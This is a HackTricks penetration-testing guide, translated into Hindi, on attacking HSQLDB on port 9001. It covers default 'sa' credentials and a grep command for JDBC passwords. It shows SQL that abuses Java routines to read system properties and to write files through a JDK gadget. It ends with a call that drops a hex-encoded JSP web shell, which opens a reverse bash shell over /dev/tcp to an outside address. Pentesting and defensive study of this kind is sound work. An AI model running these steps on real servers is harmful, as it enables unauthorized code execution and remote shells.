hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

10 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

मूलभूत जानकारी

HSQLDB [HyperSQL DataBase](http://hsqldb.org/) जावा में लिखी गई प्रमुख SQL संबंधित डेटाबेस सिस्टम है। यह एक छोटा, तेज, बहुसूत्री और संचालनात्मक डेटाबेस इंजन प्रदान करता है जिसमें मेमोरी और डिस्क-आधारित टेबल्स होती हैं और इम्बेडेड और सर्वर मोड का समर्थन करता है।

डिफ़ॉल्ट पोर्ट: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

जानकारी

डिफ़ॉल्ट सेटिंग्स

ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही होती है या localhost से बाउंड होती है। यदि आपने इसे खोजा है, तो संभवतः आपने दूसरी सेवा का उपयोग करके इसे अधिकारों को बढ़ाने के लिए उपयोग किया है।

डिफ़ॉल्ट क्रेडेंशियल्स आमतौर पर खाली पासवर्ड के साथ sa होते हैं।

यदि आपने दूसरी सेवा का उपयोग किया है, तो संभवतः क्रेडेंशियल्स की खोज के लिए खोजें।

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

ध्यान से डेटाबेस का नाम नोट करें - आपको इसे कनेक्ट करने के लिए आवश्यक होगा।

जानकारी इकट्ठा करना

HSQLDB को डाउनलोड करके और hsqldb/lib/hsqldb.jar को निकालें, डीबी इंस्टेंस के साथ कनेक्ट करने के लिए GUI ऐप (यक्) को java -jar hsqldb.jar का उपयोग करके चलाएं और खोजे गए / कमजोर प्रमाणपत्र का उपयोग करके इंस्टेंस से कनेक्ट करें।

ध्यान दें कि एक दूरस्थ सिस्टम के लिए कनेक्शन URL इस तरह दिखेगा: jdbc:hsqldb:hsql://ip/DBNAME

ट्रिक्स

जावा भाषा रूटीन

हम HSQLDB का उपयोग करके जावा भाषा रूटीन का उपयोग करके एक जावा कक्षा के स्थिर विधियों को बुला सकते हैं। ध्यान दें कि बुलाई गई कक्षा को अनुप्रयोग के कक्षपथ में होना चाहिए।

JRTs फंक्शन या प्रक्रियाएँ हो सकते हैं। यदि जावा विधि एक या एक से अधिक SQL-संगत प्राथमिक चर वेरिएबल लौटाती है, तो फंक्शन SQL स्टेटमेंट के माध्यम से बुलाई जा सकती हैं। इन्हें VALUES स्टेटमेंट का उपयोग करके आह्वानित किया जाता है।

यदि हमें बुलाना चाहिए जावा विधि वॉयड लौटाती है, तो हमें CALL स्टेटमेंट का उपयोग करके आह्वानित करना होगा।

जावा सिस्टम प्रॉपर्टी पढ़ना

फ़ंक्शन बनाएं:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

फ़ंक्शन को निष्पादित करें:

VALUES(getsystemproperty('user.name'))

आप यहां सिस्टम प्रॉपर्टी की सूची पा सकते हैं

फ़ाइल में सामग्री लिखें

आप जेडके में स्थित com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename जावा गैजेट का उपयोग कर सकते हैं (जो एप्लिकेशन के क्लास पथ में ऑटोमेटिक रूप से लोड होता है) ताकि आप एक कस्टम प्रक्रिया के माध्यम से हेक्स-एन्कोडेड आइटम को डिस्क पर लिख सकें। 1024 बाइट का अधिकतम आकार का ध्यान दें

प्रक्रिया बनाएं:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

प्रक्रिया को निष्पादित करें:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥